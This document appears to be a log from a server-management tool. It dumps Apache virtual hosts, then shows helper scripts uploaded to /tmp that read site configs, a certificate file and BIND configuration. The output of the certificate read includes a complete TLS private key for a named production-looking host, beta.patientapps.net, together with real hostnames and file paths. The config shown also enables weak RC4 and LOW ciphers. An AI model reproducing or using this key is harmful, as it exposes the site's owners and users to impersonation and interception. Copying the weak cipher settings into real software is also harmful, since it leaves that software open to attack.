         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
         port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
                 alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-30 11:16:43: 

PUT: /tmp/pkp964696

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_beta_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-30 11:16:43: 

chmod 755 /tmp/pkp964696; /tmp/pkp964696; rm /tmp/pkp964696

2026-01-30 11:16:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_beta_net.conf	1621
<VirtualHost *:80>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	beta.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
    DocumentRoot	/var/www/patientapps_beta
    <Directory /var/www/patientapps_beta>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/beta_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/beta_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SetEnv build	beta
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-01-30 11:16:43: 

PUT: /tmp/pkp558574

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-30 11:16:43: 

chmod 755 /tmp/pkp558574; /tmp/pkp558574; rm /tmp/pkp558574

2026-01-30 11:16:43: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8	5372
cc:09:79:2e:45:a9:e9:1e:6b:b5:d5:67:43:b1:69:ef

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBSBLwQTdJf6wE4R9YjhVZJm6MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTMwMTAxODEwWhcNMjYwNDMwMTAxODA5WjAfMR0wGwYDVQQD
ExRiZXRhLnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAJQiU/k8Y46m3qd3pl8CWBgYYeAbHkI5kpTCTdH0EbCNH5QzrOahcF7H
nAh1faVHv6gTmS3tSjVdXnHAEzIpl0/JgDN/fB3CB0Tzebz7GRNlluWpA/MJjAuY
ZejJ81jGhfbvB6qb94JhVzJmwB6emxT9q1T7pI90FeWNqHX5qNfZ06Aen6qZ/j8n
K0TzjmoPLivNNwO12M1MHaWmAZAyXiRdTVFqAqToPWC2/oGbxRi5X4k+5FxWRUj/
PEDjbb0DjJmsVhfGQz/LQNDY9K93UCUnARol/zeDkP2F2ynK1L9RWM2HzE0H8vPQ
C9fGb6gS5Gu0c9vdGZ/ykfPhYxr+a9kCAwEAAaOCAiwwggIoMA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQUZwQhhlxFwMPx/SKX+prI8ckrC5IwHwYDVR0jBBgwFoAU56uf
DywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEzLmkubGVuY3Iub3JnLzAfBgNVHREEGDAWghRiZXRhLnBhdGllbnRh
cHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzU5LmNybDCCAQwGCisGAQQB1nkCBAIEgf0E
gfoA+AB2AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABnA6emOsA
AAQDAEcwRQIgDzEq4lNrqq1HFNt4XH04Xzuptkwq/OE0cpiw0/tjDIgCIQDiJ+YQ
JCiBFcBkOKLSuUGtH50hJh/U40UJdo4ko3zp5wB+AOMjjfKNoojgquCs8PqQyYXw
tr/10qUnsAH8HERYxLboAAABnA6em7QACAAABQAw9PgUBAMARzBFAiEA16iCBRXo
4ydxyoExnbe8JqL9ihxtUkvpl2+4Y0ZtmwICIC7+C4b/2sSIVPpd9IE3esmKzXL6
Pf+16Ffg8WNMJm2lMA0GCSqGSIb3DQEBCwUAA4IBAQBRTQEnYMhu4athDZ883ml0
CzVYG9geMawE3srkQrbLoPkjm14EB9CRH8cwPETW0zEUzJdAUpNS2s4CqHXmuilM
POCp+Bpo293aGqE+FtFYjriZb9+uRIcZiQPEMIVULaZuSS01M5TKHZlNdS09vQWV
ppJeHZHPhVDMQbVE7+C1QU03TGlIXz3LBsrthXjmcSsMPOZJ+vqi6/Pbub2FNIRw
QpUpVnlHwPoaIcyfByqTGS5hRvoWvPVlELJ4YuQClKJfGszcgEwFMt+SltbZ4/gK
i2/LzHI+XXMUKWw4BgkvUt3gdgGG6WSeiw7ujl3+VVldB41jbqS3TZEQIhNdMyPh
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCUIlP5PGOOpt6n
d6ZfAlgYGGHgGx5COZKUwk3R9BGwjR+UM6zmoXBex5wIdX2lR7+oE5kt7Uo1XV5x
wBMyKZdPyYAzf3wdwgdE83m8+xkTZZblqQPzCYwLmGXoyfNYxoX27weqm/eCYVcy
ZsAenpsU/atU+6SPdBXljah1+ajX2dOgHp+qmf4/JytE845qDy4rzTcDtdjNTB2l
pgGQMl4kXU1RagKk6D1gtv6Bm8UYuV+JPuRcVkVI/zxA4229A4yZrFYXxkM/y0DQ
2PSvd1AlJwEaJf83g5D9hdspytS/UVjNh8xNB/Lz0AvXxm+oEuRrtHPb3Rmf8pHz
4WMa/mvZAgMBAAECggEABbaDNZACKOy/lobTSEO/YQKDt9Bj7Nrqj8kkli3LBtuS
dbU+fFCKlGUvW9YoJ9kqB5Hl7PMDUyaML2fgdaVL/BxB0PqgL0ed3ydisQqgD3Ly
DF5l1BgwqfvRJlavh2N0pC7YxVgphgI6CiwTSbsFMRyNYIQp9wxbkdRSRGaB//0M
EQyQYbzr+XvvaOP+LUxqjyasrLpf4jOgmpC59PGYPd5O/9m4hIHC5r4E49QUA5sO
5IFizI5Jn62MuOu36UqE/1iEcoXqB2YibrAiE+QLUi5+UsbVl5YuEjAdLEZBdsdt
rg2UMZya0EPUwnWypbCsWizDvGrwHtovNUVTMTRRGQKBgQDQ60ad9e7WSJDW5+6O
e63b7I8cMyoItINTjFgUdJDMux4eQH0N9VgyuTFICwJ0SqM5ZM2JjaQTrclBuuIJ
CLzUsEnNxADX3MnRRmaepya5C5DyKQL/Rdf36T43xqTzXby+3wpL596gVVouEz55
aGot9Xy0kTD6yilj0BE+GxFcrQKBgQC1hFCLOKn4RGJHhIfnpMlbNDq6tEhLZ5Vo
FdPF8Zefi1MMnOFfNyf6zYM3xSY4YGL5eAarfMw0v+jPEyc9m13vLT6ywww2iNG/
RU/5JqM30VZmUwN2Z+Tb8PaFuMrZ1PS5ybJ/64maPcS2/xQhdVvVHbuUbeb2sk4P
qEqnTQ3lXQKBgEQTVihkmdWzQZb1blN5U5alB6DtvxWlFGHmClFoBkLf+hlrdBRX
TM0CcV+DTuJr67Ho+dyHjd5ns3u6lKrS8QzxAKuO4aN1K0IJCalK2CBV934hBPv/
WzdKBl8QWHGAqt8bOHSxcmaWSVNYK/RNpMOjCWahJO+jbkc65lNxaH/lAoGAUxDM
5xk0NyfcLcxJgUkY2ELriVtNJiyt46bxdckcUOeqRsBYJoGQKyb3IIN4/R2mzXEO
5FVFAfK8sF6ce4XpE7YJ1jaKFT7BdZ1bfrIeyUFkH4lnsTzUL45y0jkBo3Pf1lGl
/QIlw073AaNza+hP8RQdLkypAEYSkPm7yBnr/QUCgYEAzPnkcqTWzB9rxKs6njeW
TsrH+zEqw1yJZNWwQzDcPl+OtctRtKXzionAtuH+X/cIZ5Hb9nI50anR60vUkuPN
tUkCkhP16ezPjqQjX2N2SCpwQi7HUD1zO6qUqxBuvNRNu4B4mF5Y6bSZJfW/bhDC
N/d8cUqaatWXEBqA/+TpPWE=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-30 12:01:21: Establishing a connection
2026-01-30 12:01:21: 

PUT: /tmp/pkp842544

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-30 12:01:22: 

runuser -l bind -s /bin/bash -c '/tmp/pkp842544; rm /tmp/pkp842544'

2026-01-30 12:01:22: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
